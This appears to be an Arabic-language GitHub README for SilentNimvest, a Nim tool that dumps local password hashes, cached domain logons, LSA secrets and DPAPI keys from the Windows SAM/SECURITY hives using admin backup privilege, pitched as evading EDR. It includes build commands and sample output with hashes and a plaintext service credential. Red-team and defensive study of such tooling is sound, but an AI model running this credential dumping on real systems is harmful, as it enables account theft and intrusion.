frkngksl/silentnimvestتنفيذ Nim لطريقة استخراج بيانات الاعتماد من خلايا SAM/SECURITY لـ sud0Ru (المعروفة باسم SilentHarvest)
بشكل أساسي، SilentNimvest هو محلل لـ SAM و Security Hives مكتوب بلغة Nim. يقرأ SilentNimvest المفاتيح تحت هذه الخلايا باستخدام تقنية Silent Harvest. بهذه التقنية، بدلاً من صلاحية على مستوى SYSTEM، يمكن لحساب مسؤول عادي يقوم بتمكين SeBackupPrivilege (بفضل علامات NtOpenKeyEx) تفريغ تجزئات المستخدمين المحليين، ومعلومات تسجيل الدخول إلى المجال المخزنة مؤقتًا، وأسرار LSA، وغيرها من الأسرار التي يمكن الحصول عليها من هذه الخلايا باستخدام واجهة برمجة تطبيقات قراءة السجل الأقل إثارة للتنبيه من قبل EDR وهي RegQueryMultipleValuesW. المشروع بأكمله مبني على بحث sud0ru.
يمكنك تجميع الكود المصدري مباشرة باستخدام الأمر التالي:
nim c -d:release -o:SilentNimvest.exe Main.nim
في حالة ظهور الخطأ "cannot open file"، يجب عليك أيضًا تثبيت التبعيات المطلوبة:
nimble install winim nimcrypto checksums des
يمكن تنفيذ SilentNimvest مباشرة دون أي معلمات مطلوبة من طرف مسؤول مرتفع الصلاحيات.
PS C:\Users\test\Desktop\SilentNimvest> .\SilentNimvest.exe
__ _ _ _ __ _ _
/ _(_) | ___ _ __ | |_ /\ \ (_)_ __ _____ _____ ___| |_
\ \| | |/ _ \ '_ \| __|/ \/ / | '_ ` _ \ \ / / _ \/ __| __|
_\ \ | | __/ | | | |_/ /\ /| | | | | | \ V / __/\__ \ |_
\__/_|_|\___|_| |_|\__\_\ \/ |_|_| |_| |_|\_/ \___||___/\__|
@R0h1rr1m
[!] Trying to parse SAM Related Credentials (Local Users)
[*] Local User RID: 500 - Administrator - aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[*] Local User RID: 501 - Guest - aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[*] Local User RID: 503 - DefaultAccount - aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[*] Local User RID: 504 - WDAGUtilityAccount - aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[*] Local User RID: 1001 - zoro - aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[!] Trying to parse Security Related Credentials (Cached Domain Logon Info, Machine Account and LSA Secrets)
[*] DPAPI Keys: dpapi_machinekey: ea31d6cfe0d16ae931b73c59d7e0c089c037b & dpapi_userkey: 44431d6cfe0d16ae931b73c59d7e0c089c0d0
[*] NL$KM: 1f31d6cfe0d16ae931b73c59d7e0c089c031d6cfe0d16ae931b73c59d7e0c089c031d6cfe0d16ae931b73c59d7e0c089c0c01
[*] Plaintext User from _SC_Backupservice: .\zoro:SilentNimvest
للاستخدام في اختبارات الأمان المصرح بها فقط. إساءة استخدام هذه الأداة ضد أنظمة دون إذن صريح غير قانونية.